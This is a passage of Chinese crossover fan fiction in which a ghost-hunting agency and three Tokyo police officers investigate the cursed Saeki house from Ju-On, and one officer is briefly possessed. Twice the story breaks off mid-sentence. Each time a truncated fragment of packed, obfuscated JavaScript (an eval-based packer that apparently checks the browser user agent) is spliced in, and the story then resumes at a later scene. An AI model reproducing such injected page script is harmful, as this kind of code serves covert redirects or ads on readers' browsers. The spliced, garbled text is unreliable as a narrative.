有这样的能力,看起来也完全没有一点勉强的样子,旁观的出现‘为什么不直接咔嚓了它还留它这么久’这种疑问也是很顺理成章的嘛。 “这个啊……”吉川惠子歪着脑袋,想了想,“怎么说呢,夏目先生之前说过,头发诅咒的源头并没有实际的……额,没有实体,没有固定的坐标?就是……很能藏,他懒得去找,干脆就这样,等它自己蹦出来。” 井下朋花:…… 听起来确实像是那家伙能干出来的事。 5. 五 “佐伯刚雄,男,凶宅的男主人,于1995年失踪,还有一个说法是被发现惨死在垃圾堆里,以碎尸块的状态被早上丢垃圾的人发现,凶手不明。” 几张照片在幕布上一一切换。 千寻面无表情,“其他的没什么了解必要, “佐伯俊雄,男,于1995年被发现饿死在凶宅二楼的壁橱内,壁橱外面被贴满了胶带封死,凶手据传正是佐伯刚雄。” “八岁。” 又是几张小男孩的照片,有幼稚园的,也有学校的,都是集体合照,没有单人。 孩子的脸上也从不见笑容。 “佐伯伽椰子,原名川又伽椰子,佐伯刚雄的妻子,于1995年被警方在凶宅楼顶发现尸体,凶手为佐伯刚雄,”千寻又放了几张照片出来,那是一名面容清秀的女性,神态总是很拘谨,“网上流传的说法里,最多的一种是——她常年遭受严重的家暴,性格懦弱,具有一定程度的交流障碍,还有一种说法是,她生前就很奇怪,似乎暗恋自己的儿子佐伯俊雄的老师小林俊介,而这种见不得光的暗恋最终被佐伯刚雄得知,小林俊介一家也因此惨遭杀害。” 千寻继续面无表情的切照片,“这是小林俊介,相传是一位非常认真负责的老师,于1995年失踪,生前最后的行踪是前往佐伯家做家访。” “这是小林俊介的妻子,遇害时已经怀有身孕,在小林俊介家访当天被佐伯刚雄闯入家门残忍杀害,连同肚子里的孩子一起。” 接下来,千寻又放了好几组照片,“这些都是据传在进入佐伯宅后相继失踪的人员名单,真实性不保证,看看就行了。” 千寻的效率非常高。 他今天是专门来凑这场热闹的,在从夏楠口中得知吉川惠子身上的标记应该是个还挺厉害的家伙弄出来的这件事之后,他就一直对吉川惠子很上心。 或者,准确的说,是对吉川惠子身上的诅咒很上心。 没见过,好奇,这种无视距离随意索命制造失踪案件的能力过于霸道,他想弄清楚其中的原理,还是说什么,鬼神的世界真的就不讲逻辑了么? 吉川惠子的事早在千寻起了兴趣之时就被他查的清清楚楚了,他是个兴起时很高效的行动派来着。 …… “以上,就这么多。” 千寻干脆利落的做了结语。 夏楠伸了个懒腰,挺直的脊背垮了下来,他的身上还是那套为了称门面专门定制的正装。 夏楠歪过头问织田作之助,“都录好了吗?” 织田作之助嗯了一声。 “那就关了吧,辛苦了。” 这些资料对他来说没有任何吸引力,对于刷过咒怨全系列的人来说。 但千寻的表演欲望很高,心情还算不错的夏楠不介意配合。 毕竟,打造第一捉鬼驱邪金字招牌嘛,挺有意思的。 已经是晚上了,夏楠起身,看向千寻,“今晚要留宿么?沙发暂借给你?” “我可以去二楼吗?” “不可以呢。” 行。 千寻并不强求。 种种迹象表明,夏目楠的对某些方面的掌控欲十分强烈,在这些领域里,自己还是不要过分比较好。 “那可以分我一条毯子吗?” 夏楠已经在往楼上走了,听到这句话,头也不回,“去找助理先生。” “晚安,诸君。” 千寻看向正检查刚刚录制的视频的织田作之助。 ——这样的家伙,居然也会金盆洗手,跑来干什么捉鬼助手的工作。 排名第一的杀手,外界都以为是一个团队,实际只是一个人。 明明博多才是杀手之乡。 说起来,夏目那家伙知道吗?织田过去的身份。 ……以那家伙的精明程度,不应该不知道。 千寻默默盯着织田作之助,他的视线实在太过引人注目,织田作之助询问的看了过来。 千寻回给他一个乖巧的歪头——这就奇怪了,夏目是个很讨厌计划外的无聊变故的人,织田作之助这种,应该会被他扫进‘麻烦的家伙’分类才对。 可他紧接着又想到了自己。 …… 或许那家伙只是单纯有什么古怪的收集癖也不一定。 织田作之助见千寻一直盯着他,想了想,开口,“需要我现在就去给你取一条毯子吗?” 千寻立刻回答,“要。” —————— 夏楠难得起了个大早,他迷迷糊糊间登录探灵社的账号,在首页发了条——揭秘凶宅诅咒真相——并置顶以后,强撑着精神把自己收拾干净,然后在早早就到了的吉川惠子和井下朋花不约而同的注目礼下,一路飘到了客厅的沙发边,非常爽快的把自己扔了进去。 在看到夏楠下楼的同时就已经抱着自己的宝贝电脑与昨晚短暂相处的床铺告别,移动到旁边的单人沙发上的千寻看了眼一脸生无可恋的夏楠。 “你不是很早就睡了吗?” 夏楠蔫蔫的回答,“春困夏乏,秋疲冬懒。” 还有这种说法。 千寻面无表情的将这句话加进了自己地下账号的自动回复语录里。 织田作之助正在往暂时停在院门口的车上搬设备,根据夏楠的说法,他们需要在那间凶宅里住一晚,收集一些必要的镜头——对,住一晚只是因为要收集镜头——以及他们已经提前通过之前合作过的军警联系到了东京警视厅,那边表示会尽量配合。 目前来说一切的进展都很顺利。 …… 来帮忙的井下朋花正在和吉川惠子一起搬一个大箱子。 “好重,里面都装了什么啊?” 吉川惠子唔了一声,“我想想啊……这一箱的话,应该是红外夜视摄像头,装在房间内各个角落用的,还有收音和磁场监控的高斯计……”她晃了晃脑袋,“不对不对,高斯计应该是另一个箱子。” 井下朋花惊讶,“每间屋子都要装吗?” “对呀,”吉川惠子点点头,“夏目先生说,与其用虚无缥缈的东西去吓唬人,不如用真实的数据告诉别人,自己遇到的是什么东西。” 井下朋花:…… 讲道理,她还是第一次遇到这种……这种类型的相关从业人员。 真是非常的与众不同了。 “怎么样,是不是特别厉害?” 井下朋花看着惠子一脸得意的样子,失笑,“怎么,你又不怕你的夏目先生了?” 吉川惠子得意的小表情一僵,她开始小小声,“怕肯定还是……怕的,但是又不冲突嘛,夏目先生就是很厉害啊!” “是是是,你的夏目先生最厉害了。” 两人因为聊天的原因走的有些慢,这会儿才刚刚走到院门口。吉川惠子正嘿嘿嘿的傻乐,一抬眼刚好与刚刚放完东西的织田作之助对上了视线。 织田作之助看了眼两位女性手里的箱子,上前去很轻松的接过,“我来吧。” 吉川惠子赶忙道谢,“谢谢您,织田先生。” “不用客气,”织田作之助冷淡的回应。 井下朋花:“……哇哦” 她仔细看了看织田作还带着胡渣的脸——说起来,这家伙也是个池面啊,还很年轻的样子,以前怎么没发现,是因为‘夏目先生’的颜实在太吸睛吗? 吉川惠子一见井下朋花这副样子就知道好友的颜控属性又开始占领智商高地了,她抿了下嘴,一把抓起井下朋花的手,“我看到还有最后一箱,应该都是些备用线之类的,我和朋花过去搬,您可以先休息一会儿。” 织田作之助一愣,“啊,不用,我……” “织田先生今天还要开很长时间的车呢,请一定休息,搬东西就让我来吧!” 吉川惠子的声音充满了活力,在不直面夏楠的时候,惠子一直都很有活力,也不知道为什么,这位女士一但与夏楠面对面,就会出现一系列诸如‘心虚’、‘气短’、‘说话声音太小’、‘头能低到沟里’之类的症状,像遇到了猫的老鼠。 织田作之助看着对方认真的脸,“那就拜托了。” “嗯嗯!” 吉川惠子拽着井下朋花跑进了院门。 她压低声音,小小声,但坚定的说,“小朋,不可以哦。” 井下朋花一时没有反应过来,“什么不可以?” “织田先生,”吉川惠子看着井下朋花的眼睛,“不可以的,小朋,织田先生和小朋不相配的。” 井下朋花一愣,她下意识想要回过头去看对话中的另一位主人公,却被吉川惠子拽住了。 “不可以,会被发现的。” 井下朋花:…… 她有些不确定,又有些惊讶的看着吉川惠子,“惠子你该不会……情窦初开?” “才不是,”吉川惠子拉着井下朋花往杂物间走去,“织田先生是像哥哥一样很好很温暖的人。” “好哇你,很好很温暖,和我不相配,啊?”井下朋花捏起惠子软软的脸颊。 吉川惠子低声解释,“因为织田先生不仅仅只有温暖,织田先生给我的感觉,更多的是——冰冷。” 一个从来都严肃不起来的姑娘,就算板着脸眼睛也能随时随地做一万字演讲的姑娘,忽然表里合一的,严肃的劝诫。 “所以小朋,不可以,很多事对你来说都是可以抛去的事,不愉快的,不想要的,可织田先生不一样,他拥有的很少,他每一样都很珍惜。” “而且……织田先生,可能意外的,还挺挑剔的……” 井下朋花:…… 虽然大概理解了好友容易让人误会的表达背后的意思,但还是忍不住拳头痒。 …… “哇哦。” “哇哦。” 会客区沙发这边,带着单侧入耳耳机,习惯性监听身边每一个活物的千寻面无表情的感慨。 带着另一个单侧入耳耳机,混到了机会听现场版的夏楠也在面无表情的感慨。 吉川惠子,恐怖如斯。 千寻实在好奇,“你到底是从什么地方把她挖出来的?” 夏楠,“我没有,她是自己撞上来的。” 千寻给了夏楠一个‘你看我信不信’的眼神,可惜被厚重的刘海挡住,并没有实时传递给夏楠。 “东京那边协助的人选已经定下来了,是一个新人巡警,搜查一课的,还有介绍信的事,也弄好了。” “嗯。” 夏楠笑了笑,“辛苦了,千寻。” 千寻看了眼夏楠,“我还可以查到更多。” “不需要,”夏楠躺平了,“事前知道太多,会失去很多乐趣的。” “嘁,奇怪的追求,”千寻评价道,“你最好不要翻车。” “借你吉言。” 夏楠忽然深吸一口气,“惠子~” 正在被井下朋花疯狂蹂躏脸颊的惠子发出了一声十分含糊的应和声,在反应过来是谁在喊自己以后,突然噌的就站成了一根竹竿。 井下朋花:…… 你已经有应激反应了惠子,老实说,你真的没有被夏目那家伙PUA吗? 夏楠接着喊,“惠子,我想吃街口咖喱店的激辣咖喱。” “好的!没问题!” 吉川惠子抱着一个小箱子从杂物间里冲了过来,迎面撞上了夏楠似笑非笑的眼神。 吉川惠子猛的一个急刹,站稳了。 她小心翼翼的问,“夏目先生还有别的需求吗?” “激辣咖喱四人份,清水四人份,还有……”夏楠想了想,“再随便买些面包之类能充饥的东西。” “买你喜欢的口味。” “好,好的。” 吉川惠子一鞠躬,好在怀里的箱子并不大,也不重,不然就她这个动作,恐怕无法保持住平衡。 她匆匆走了。 —————— 织田作之助在开车。 为了纪念探灵社第一次全员到齐的出差之旅,千寻正举着一个手持小型摄像对着每一个人猛猛拍。他和夏楠两人坐在后座,副驾驶是抱着一摞打包好的外带咖喱的吉川惠子。 夏楠这会儿已经完全清醒了,他一把抢过千寻几乎怼在他鼻尖上的摄像,自己拿好。 “当当当,采访时间~” 夏楠将镜头对准了猝不及防被抢了差事的千寻。 千寻像是有镜头恐惧症一样忽然扭头捂脸,不是用手捂,是整个手臂抬起来,脸埋进去,那种捂法。 夏楠笑了一声,“你还真是明显啊。” 千寻因为被手臂阻隔而显得有些闷闷的声音响起,“你不是早就知道了吗?” “我不知道。” 夏楠随口否认,“好了,这位……不能透露姓名与脸的兼职君,请问你对我们接下来的行程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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坐在前排的吉川惠子抖了一下。 夏目先生的这种语气…… 不知道为什么,她忽然有些同情即将与夏目先生交锋的,贯穿她几乎一整个少年时期,直到现在的,那间凶宅。 —————— “就是这里。” 很普通的居民小区,周围的房子大部分都住了人。 两名男性正站在佐伯宅的门口,眯着眼睛仔细往里面看。 很经典的一户建外观,由于常年缺乏打理,院子里杂草丛生。 “hagi,你看那。” 光线有些昏暗,原本带着墨镜的男性已经将墨镜摘了下来,他拍了拍身边人的肩膀,对着一个角落指了指。 “那是……”被称作hagi的男性看向同伴指的方向,“……鸟的尸体?” “恐怕是。” 散落的羽毛,黏着已经变成黑色的血液,略微有些起伏的堆积。 “虐鸟?” 率先发现那些尸体的男人耸了耸肩,这里的空气让他觉得有些压抑。男人从裤兜里摸出烟盒,弹出一根叼在嘴里。他没有点烟,那名被称为hagi的同伴见到他嘴里的‘烟’以后,挑起一边眉毛,直接伸出手。 “我的呢?小阵平。” “你就不会自己买吗?天天蹭我的,”虽然嘴上抱怨着,被称为小阵平的男人还是重新将烟盒摸了出来,丢到了hagi怀里,“自己拿。” hagi笑眯眯的抽/出一根来,对比小阵平叼在嘴里的动作,他要直接许多——他的那根被他从中间一口咬断,紧接着,全都裹进了嘴里。 一丝带着薄荷清香的甜味在空气中弥漫开来。 原来是糖。 “班长怎么还不过来?” “人家是有女朋友的人嘛,要和家里人报备的。” “啧。” “小阵平是羡慕了?” “哈?我羡慕这个做什么?” “放心,小阵平,就算是你这种直男个性的人,总有一天,一定会有可爱的女孩子能忍受的了你的。” “喂,”小阵平咬牙切齿,“你知道我对那些……” “不感兴趣,对对对,”hagi拍了拍小阵平的肩膀,“我们小阵平还是个没有任何恋爱经验的宝宝呢。” 小阵平呵呵,“总比你这家伙身边围满了女人的样子要好的多。” hagi伸出一根手指摇了摇,“太失礼了,是可爱的女孩子,小阵平。” 两人就站在佐伯家门前相互调侃,不远处,一名穿着警察制服的男性挂断了电话,向着这边走了过来。 “研二,阵平,”男人大约就是之前两人聊天中提到的班长,“他们快到了。” 说话间,一辆黑色的马自达从道路尽头拐了过来。 看清了车型的三人齐齐挑眉。 “这个型号……不会是鬼佬吧?” “他来这里做什么?” “来就近监督得意门生负责的第一个真正意义上的大案?” 几人聊了没几句,车已经在他们面前停了下来。 率先开门的是司机。 佐伯宅门口的两人微微皱眉,作为警察的第六感在看到司机的瞬间响了起来。 紧接着下车的是一名抱着电脑,明显还没成年的网瘾少年。 第三名是位女性,怀里抱着一堆外带打包的食物,看到他们后很礼貌的对着他们笑了笑。 观察完下车的几人,三人的视线再次回到了那辆黑色马自达上。 车上还有一个人。 先是双腿,然后是手臂。那个人微微弯腰从车内钻了出来。 是个很年轻的人,大概一米八的个头,有些瘦弱,脸色不是很好,看起来显得有些疲惫。 目前为止一切正常。 直到对方掀起眼皮,轻飘飘的扫了他们一眼。 在场的三名警务人员几乎是下意识的,条件反射的将手搭在了腰间的武器上。 6. 六 夏楠在看房子。 漆黑的瞳孔一寸一寸,缓缓扫过眼前一户建的每一个角落。从庭院,到阁楼;从院门口新鲜的脚印,到露天观景台上清晰的抓痕。 过了一会儿,夏楠眼珠转动,看了眼院门上斑驳到几乎无法辨认的名牌。 如果忽略所谓的‘凶宅’,所谓的‘恐怖氛围’,傍晚的阳光穿过树叶之间的缝隙,斑驳的洒在俊秀青年的身上,间或吹拂的风微微带起他散乱的发尾——这副画面,其实还挺唯美的。 另一边就不怎么唯美了。 织田作之助挡住了警/察三人组警惕的视线。 他没有说话,只是平静的站在那里,面对着三人组,没什么表情。眼神也没有多么有攻击性,看不出警惕,也看不出敌意。 仅仅只是这样,却依旧让警/察三人组更加…… “那……那个!” 吉川惠子的声音忽然响起,“想必几位就是与我们对接的警官先生了吧!” “很高兴见到你们……额,我是说,我们就是之前与你们联系的探灵社!我们是来……” “调查传说中的凶宅?” 有人接话了,是那名穿着便衣的长发男性。 吉川惠子暗暗松了口气。 “没,没错。” 原本因为气氛剑拔弩张好像下一秒就会打起来的‘男子汉之间的对视’而鼓起的勇气在这口气松了以后消散的干干净净,吉川惠子回忆了一下自己刚才的表现,脸上立刻飘起红云。 吼那么大声,不会被当成什么奇怪的人了吧…… “很有效哦,惠子。” “唉?” 夏楠不知什么时候停止了对传说中凶宅的观察,正面带微笑看着这边。他对着吉川惠子眨了下眼睛,接着,缓缓走过来,拍了拍织田作之助的手臂,“辛苦了,作之助。” “啊。” 正在履行自己作为保镖的职责的织田作之助收回了自己看着三人组的视线,他的脸上依旧是平日里那副模样,仿佛刚才的对峙并没有对他产生任何影响。 夏楠看向了警/察三人组。 他的笑容淡了些。 “我记得,原定与我社进行对接的人数……应该不是三个人?” 看着眼前的青年,尚且还在警戒状态中警/察三人组相互交换了几个视线。之前那一眼的危险观感如今已经不见了,眼前的青年目前看起来,就是普普通通的样子。 普普通通难相处的样子。 ……错觉? 唯一穿着警服的那位向前两步,“请问,是探灵社的社长夏目楠先生么?” “在询问他人身份之前,难道不该先表明自己的身份么?”夏楠看向说话的人,“还是说,诸位有什么难言之隐?” “东京这边的警察,都这么没礼貌么?” 三人:…… “哦哦,一上来就起冲突,很不错啊,观众肯定爱看这个,”不知道什么时候已经重新摸出一个手持摄像的千寻正对着这边拍摄,见听到他说话的警/察三人组纷纷看向这边,还很友好的冲他们挥了挥手,“不用在意我,你们继续。” “ 哦,也不用在意被拍摄,我们后期会打码,我记得拍摄的事你们是同意了的,对吧?” 三人:…… 依旧是那唯一一位穿着警/服的警察开口回复,“没错,我们有接到通知。” “那就好。” 虽说接到通知说协助方会全程摄影记录,但被拍,多少还是让人有些不适。 穿着警服的警/察努力压下这种不适,重新看向站在对面的青年。 青年脸上那敷衍的笑已经消失了。 “怎么?想好怎么做自我介绍了?” 警服警/察——很难搞的样子啊。 “您好,我是这次负责与您对接的伊达航,隶属警视厅搜查一科,原本应该是我与我的搭档一同前来,只是他……”伊达航皱了皱眉,“他在半小时前出了车祸,目前正在医院抢救。” “因为事发突然,短时间内实在无法协调出其他人手,目前做不到再派一名刑警过来与贵社接洽,非常抱歉。” 佐伯宅并不在东京市圈内,原本警视厅是打算让附近的交番出人协助,但是被拒绝了,以无法胜任为理由。开玩笑一样的借口引起了原本并没有对这次合作有多重视的警视厅的注意。负责的警视在查阅了一些相关资料后主动联系了在横滨混日子的老友,在了解到一些信息后,衡量片刻,把协作的任务丢给了搜查一科的新人——伊达航——负责,并指派了一名巡察和伊达航搭档。 “哦。” 夏楠听完,没做什么表示,他对着旁边那两人抬了一下下巴,“这两位呢?赠品?” “小子,很会说嘛。” 被夏楠定义为赠品的其中一个露出了标准的恶人笑,“怎么,横滨的人都这么没礼貌吗?在别人自我介绍以后不做任何回应?” “这就是你们的礼仪?” 他身边的长发男人看了他一眼,伸出手敲了一下对方的手臂。 夏楠没理他,只是对着伊达航开口,“警官先生,你的挂件之一在威胁我。” “哈?”从赠品变成挂件的男人继续说道,“我可不记得我有说过任何威胁你的话,你们的摄像师可还录着呢,现成的证据。” “诽谤也是犯罪,小子。” 长发男人又看了他一眼,微微皱了下眉,“……小阵平?” 夏楠依旧没理他,“警官先生,鉴于你对自己宠物的纵容行为,我是否可以将您的态度理解为——拒绝配合?” “如果是这样,我社事务繁忙,就不多叨扰了,”夏楠的视线在三人身上一一划过,最后停在了‘小阵平’身上,他的嘴角挂起一抹莫名的笑,“祝你们……玩的开心。” 夏楠说完,转身走到车边,重新拉开车门,没有一丝犹豫。 守在一边的织田作之助问道,“要回去了么?” “先找个地方吃饭吧,饿了。”夏楠的声音回归有气无力,他已经钻进了车里。 “唉——这就回去了啊,”千寻见状配合的停止录像,他的视线在那边三人身上转了一圈,刘海的遮挡下并不明显。他收起设备,打开了另一侧的车门,还不忘招呼有些无措的站在那里左看右看的吉川惠子,“走啦吉川。” 吉川惠子:…… 她小幅度的左右各瞄了一眼,又透过车窗看了看后座那里夏楠模糊的轮廓。 吉川惠子默默叹气。 刚刚被夏目先生夸了的喜悦减轻了一些。 ——东京的警/察怎么回事啊,一惊一乍的,虽然夏目先生给人的感觉是很可怕,但也不至于那个样子啊……横滨的警察见到夏目先生以后也没有这样! ——……虽然夏目先生确实很可怕。 ——唉…… 吉川惠子悄悄瞥了眼旁边那间阔别许久的凶宅,抿了抿嘴,也去拉车门了。 “请等一等!” 没想到事情的发展变成这样的伊达航终于反应过来,他三两步走到夏楠所在位置的车窗边,弯下腰,“夏目先生,非常抱歉,是我的疏忽,请先等一等。” 夏楠看了一眼车窗外的脸,将车窗降了下来。 伊达航见对方态度有所松动,猜测夏楠可能是因为之前他们表露出来的敌意而对他们有所不满,于是先介绍了那边穿着便装的两人,“他们是我在警校时期的同期好友,能力非常出色,最近在休假……他们是主动申请参与调查的,申请刚刚批下来,还没来得及通知你们。” 两个爆/炸物处理班的新人,虽然不到半年就成为王牌,但总归不是同一个部门。如果不是这两个人请了后援为他们担保,就算伊达航的搭档出了车祸,搜查一课一时调不开人手,他俩的申请也不会被批复。 “还有,关于我们之前的误会,”伊达航接着说,他没有提整件事其实是由夏楠而起,只是将突破口放在了织田作之助身上,“冒昧问一下,您……贵社的这位先生,”他看了眼织田作之助,“以前是做什么工作的?” 夏楠看着他,轻笑一声,“东京的警察,还管横滨的事?” 横滨…… 千寻在一边开口,“这位警官先生,我们可是从横滨来的,向你们推荐我们的人没告诉你吗?” 这是不打算说了。 伊达航想起了之前警部交代过的话,又想起横滨这座城市在警视厅内的风评。他看了眼坐在驾驶座上的织田作之助,“……我知道了。” “我为我们之前的不专业正式向贵社道歉,”伊达航后退两步,对着他们鞠了一躬。 “只有你?” 夏楠看着他,挑了下眉,“你的挂件们呢?” 很了解好友性格的伊达航:…… 这就有些难办了。 他看向不远处的两人。 …… “好了,小阵平。” 之前曾开口接上吉川惠子台阶的长发男人拽着‘小阵平’走了过来。 “对友好合作单位这种态度可不行,我可不想再写检讨了,”长发男人看向他,“你有点不对劲,是哪里不舒服吗?” ‘小阵平’闻言微微皱眉:“我……”他忽然抬手揉了揉额头,表情有些古怪。 伊达航看了看两人,又看了眼坐在车里正带着一脸饶有兴致的表情看着松田阵平的探灵社社长。 ……饶有兴致? 长发男人率先向探灵社几人的方向敬了个礼,“真是非常抱歉,”他笑着说道,“我是荻原研二,我旁边这个脾气暴躁的家伙叫松田阵平。” 他说着,使劲锤了松田阵平一拳,“小阵平,向被你吓到的友好合作方道歉,快点快点。” 松田阵平松开了揉额头的手。 “……啧。” 他也向着这边敬了个礼。 —————— “真是的,明明我们自己调查就可以了,为什么非要留下他们?” 松田阵平在搬东西。 “不知道,是上面的要求。” 同样在搬东西的伊达航回答道。 “哈?!”松田阵平将手里的箱子重重放在院子的地面上,“上面的要求?那些家伙们的脑子有一刻是值得信任的吗?” “好了小阵平,不要再抱怨了。” “我不是在抱怨!”松田阵平转头反驳,他的脸部肌肉有些扭曲,这使得他的表情看上去有些狰狞,“再说了,那群人,你们也能感觉到吧?除了那个叽叽歪歪的女人以外,其他三个有一个是正常人吗?” “嗯……因为他们来自横滨?” “来自横滨是什么万能解释吗?!” “松田!”伊达航放下手中的箱子,严肃的看向松田阵平,“你们不了解这次的案件,它很不一样,不仅仅是明面上的卷宗记录的那么简单。” “我不知道你今天为什么这么冲动,这不像你,你必须尽快调整好自己的情绪。既然已经参与调查,就好好拿出你的专业素养来!” 松田阵平沉默。 他突兀的抬起手,再次开始揉自己的额头,他的脖子上暴起一根青筋,揉额头的动作一下一下,越来越用力。 荻原研二仔细看了看松田阵平的脸色,“……好了,好好打起精神来,小阵平。” 松田阵平猛然转头看向他,语气凶狠,“你这个滥交男,专门勾引女人的家伙,你懂些什么!” 荻原研二愣住了。 伊达航也愣住了。 —————— “……哇哦。” 这是主动承担起卡麦拉man职责的千寻。 “……哇哦。” 这是靠在车边看热闹的夏楠。 两人哇哦完,不知道对上了什么形式的脑电波,齐刷刷的看向站在一边的织田作之助。 织田作之助无辜被盯,他想了想,也‘哇哦’了一声。 二人露出了满意的神色,紧接着,看向了吉川惠子。 吉川惠子十分上道的小小声‘哇哦’。 里面的三人旁若无人的声音不停传过来,其他两位还知道压低音量,那个卷毛警官却是一副恨不得把嗓子吼破的架势。 说话的用词也十分不讲究。 哇哦完了的几人又看了会儿热闹。 直到卷毛开始原地发疯——他突然攻击自己的两名队友,下手非常狠。 试图阻止他的荻原研二被他一拳打在腹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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院子已经被清理出一片相对干净的区域,好几个大大小小的箱子摆在那里,吉川惠子正一个个打开检查里面的东西。 夏楠坐在在场唯一一张椅子上——从事务所里带来的折叠椅——由于拍摄暂时终止,他这会儿并没有带口罩,微微上翘的嘴角毫不掩饰自己愉悦的心情。 看了一场好戏~ “鉴于双方接下来要建立基本的合作关系,为了让几位充分了解到这次我们的对手是什么,因此没有及时插手干预几位中间出现的那一点点小小的状况,”夏楠语调轻快的说着,“我想,经验丰富且充满职业道德的警官先生们应该不会因此而生气的,对吧。” 旁边,背对着这边蹲着的吉川惠子悄悄转过头看了一眼,又悄悄转了回去。 …… 天色已经逐渐暗下来了。 “既然是合作方,我想,贵社应该知道最基础的情报共享原则?” 不再发疯的松田阵平看起来正常了许多,“介意告诉我到底发生了什么么?作为当事人之一,我总不能什么都不知道吧。” “当然可以,”夏楠回答,“简单来讲,你被附身了,”他停了一下,“哦,如果用科学的方式来解释的话……这里的磁场影响了你的脑子?” 松田阵平:…… 对不起,他两个解释都不是很能接受。 夏楠看着对方纠结的脸色,问道,“你还记得多少,松田警官?” 松田阵平皱着眉回忆,“我记得……你们的车开过来……” 荻原研二很震惊——居然从那个时候就开始了吗?难怪会不认识探灵社的人…… 紧接着又是疑惑,既然那个时候的小阵平就已经不是小阵平了,那个下意识要拔/枪的动作又是怎么回事? “然后呢?” “然后?”松田阵平继续回忆,可无论他怎么努力,那段时间的记忆都像雾一样朦胧,“好像和什么人起了冲突……” 奇怪,完全忘记了为什么起冲突,更不知道和谁起了冲突。 “还有吗?” “不记得了,等我回过神来……” “已经从门口闪现到了这里,还被人……嗯,按在地上?”夏楠打断了松田阵平的话,“我想,松田先生应该不会想要告诉我,你有什么与失忆相关的病史吧。” 松田阵平:…… “我没有。” “关于这一点,我可以为小阵平作证~”荻原研二举起一只手。 “那就好。” ——不,并不好。 柯学片场三人组的内心齐刷刷的发出不赞同的声音。 但事实就摆在眼前,短时间内,他们也想不出其它合理的解释。 他们只能沉默。 磁场影响了大脑? 这是可能的吗? 自身的职业性质让他们下意识排除了另一个选项。 “我想,我们已经初步达成了一定的共识,”夏楠围观了一会儿三人变幻的脸色,开口,“我社的目的只有一个——完成来自委托人的委托,调查这座凶宅,并解决这里的……问题。” “接下来,请几位积极配合我们的作业,可以么?” 三人对视一眼。 他们接到的任务是合作调查。 与这间房子有联系的各类恶性案件时有发生,失踪,自/杀,他/杀。多年下来,案件数量已经累积到了一个让人无法忽视的数字。 这里的交番内部对于这栋住宅的态度也让人十分在意。 上面的意思是,如果能通过其他从业者的不同视角得到一些信息,或许对那些无疾而终的案件的侦破能有所帮助。 伊达航开口,“需要我们做什么?” “很简单,”夏楠示意旁边那些箱子,“我社的工作流程是这样的,接取委托、事前收集信息、现场调查取证、最后得出结论。” “现在,是调查取证的环节。 荻原研二摸了摸下巴,“听起来还挺严谨。” “当然,我们可是专业团队,”夏楠放松的靠在椅子里,“我想,几位应该没有什么电子设备苦手之类的人设吧?” 7. 七 松田阵平会意,他已经看到了打开的箱子里都有些什么,“需要我们帮忙?” “唔,”夏楠随意回应了一下,“最好在天黑之前装完,”顿了顿,他微微眯起的眼睛,语气故作沉沉的补充了一句,“不要落单,两两一组,明白么?” 伊达航没有问为什么,只是点了点头,“可以。” 在场除了夏楠以外一共六个人,倒是的确可以两两一组活动。 “每一间都要装,一楼,二楼,阁楼……如果它有阁楼,”夏楠歪着脑袋慢悠悠的说,“每一间装两个热感,不要留死角,还有收音,磁场监测,测量地面水平、房间高差……” “地面水平和房间高差是为了检测有没有‘不存在’的空间?”松田阵平问道。 “真聪明真聪明,”夏楠敷衍的鼓了两下掌(松田阵平:……),他边鼓掌,边转过头看向正在调试设备的织田作之助,“首席助理先生,发护身符啦~” 织田作之助听到夏楠的召唤,站起身,朝着这边走了过来。 …… ——你们,有听到猫叫吗? …… 为了促进合作双方尽快相互熟悉起来,组队方式定为探灵社一人带警方一人。 荻原研二的临时搭档是吉川惠子,松田阵平是织田作之助,千寻很不情愿的和伊达航暂时绑在了一起。 考虑到不久前松田阵平身上发生的……特殊情况,他们这一组主要负责的是在院子里的设备架设,连带着梳理线路,调试信号,建立临时的工作台等都被一并承包了。 许久无人居住的房屋在电闸推上去的那一刻仿佛重新带起了一点点活力。 当然,这只是一种浪漫主义的想象。 就,推个电闸而已嘛。 松田阵平对各类设备的操作十分娴熟,包括信号调试,他做起来简直得心应手,几乎可以称的上是相当专业。 在松田阵平的衬托下,已经有了一定经验的织田作之助反倒成了打下手的那个。 …… 松田阵平看了眼不远处整个人堆在椅子里一样的夏楠——对方看起来像是睡着了。 织田作之助正站在他身后,这种工作中被人全程监视一样的感觉十分奇怪。 松田阵平摸了摸绑在手腕上的,用红绳粗糙串起来的的铜钱,或者叫‘护身符’? “这样基本就可以了,接下来只要等其余两组安装好,再调试一次……” “辛苦了。” 松田阵平看了眼身后的人,侧身让开一个身位,“检查一下?” “不用,你做的很好。” 松田阵平单手撑着就地取材——来自房子一楼餐厅——的桌子边缘,“说起来,还没自我介绍?”他伸出一只手,“松田阵平,请多指教。” 织田作之助的视线短暂的看向了松田阵平的手,又抬起来,看向了伸手的人。 有一瞬间,松田阵平几乎可以确定对方已经察觉到了他的真实意图,就在他打算说点其它的什么转移话题的时候,一只干燥的手握了上来。 松田阵平:…… 他挑了下眉,“我还以为你会拒绝。” 织田作之助说道,“拒绝的话,你还会想其它办法吧。” 松田阵平耸了耸肩,“谁知道呢。” 交握的手并没有松开,“所以你的名字是?我总不能一直叫你助手君?” “我的名字……”织田作之助停了一下,像是在回想,“……应该是代号A。” 松田阵平:…… “你不会是在故意耍我吧?” “没有。” 松田阵平微微眯眼。 没有任何情绪外露,同样,也没有任何微表情的变化。 他忽然有点理解自己在……好吧,在大脑被磁场影响导致的失控状态下,依旧会被眼前的人激起警惕心的原因了。 松田阵平主动松开了手。 枪茧。 不止枪茧。 “横滨到底是什么龙潭虎穴,一个调查都市传说的探灵社里都能有像你这样的人?”松田阵平用半开玩笑的口吻说道。 “我现在只是个普通人。” “普通人……”松田阵平看了看对方自然回落在身侧的手,“……好吧,普通人A桑。” “说真的,和你画风不太搭啊……谁给你起的?” “代号K。” “哦——” 又一个代号。 